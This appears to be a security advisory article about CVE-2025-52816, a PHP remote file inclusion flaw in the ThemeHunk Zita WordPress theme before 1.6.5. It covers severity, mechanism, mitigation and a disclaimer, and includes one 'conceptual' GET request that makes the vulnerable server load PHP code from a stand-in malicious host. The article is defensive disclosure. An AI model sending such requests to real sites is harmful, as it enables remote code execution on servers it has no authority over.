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CVE-2025-52816: PHP Remote File Inclusion Vulnerability in ThemeHunk Zita

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Overview

CVE-2025-52816 is a critical cybersecurity vulnerability that affects the ThemeHunk Zita theme for WordPress websites. It involves an Improper Control of Filename for Include/Require Statement in PHP Program, often referred to as ‘PHP Remote File Inclusion’. The vulnerability can lead to potential system compromise or data leakage, making it a significant concern for website owners and developers who utilize the Zita theme. Given the vast number of WordPress websites on the internet today, this vulnerability could have widespread implications if not addressed promptly.

Vulnerability Summary

CVE ID: CVE-2025-52816
Severity: High – 8.1 (CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

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Product | Affected Versions

ThemeHunk Zita | Versions prior to 1.6.5

How the Exploit Works

This vulnerability exists due to an improper control of filename for Include/Require Statement in the PHP program of the ThemeHunk Zita theme. An attacker can exploit this vulnerability by sending a specially-crafted request to the website running on the vulnerable theme. The attacker can include a reference to a remote file that contains malicious PHP code. When processed by the server, this code will be executed, potentially leading to system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. Note that this is a conceptual code and may not work as is.

GET /index.php?page=http://malicious-website.com/malicious-code.txt HTTP/1.1
Host: vulnerable-website.com

In this example, the attacker is exploiting the ‘page’ parameter to include a remote file (malicious-code.txt) hosted on a malicious website. When this request is processed by the server, the malicious PHP code within the included file will be executed.

Mitigation Guidance

Users of the ThemeHunk Zita theme are strongly advised to update to the latest version to address this vulnerability. If this is not possible, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure to block requests that attempt to exploit this vulnerability. However, these are only temporary solutions and upgrading to the patched version is the recommended course of action to fully mitigate this vulnerability.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

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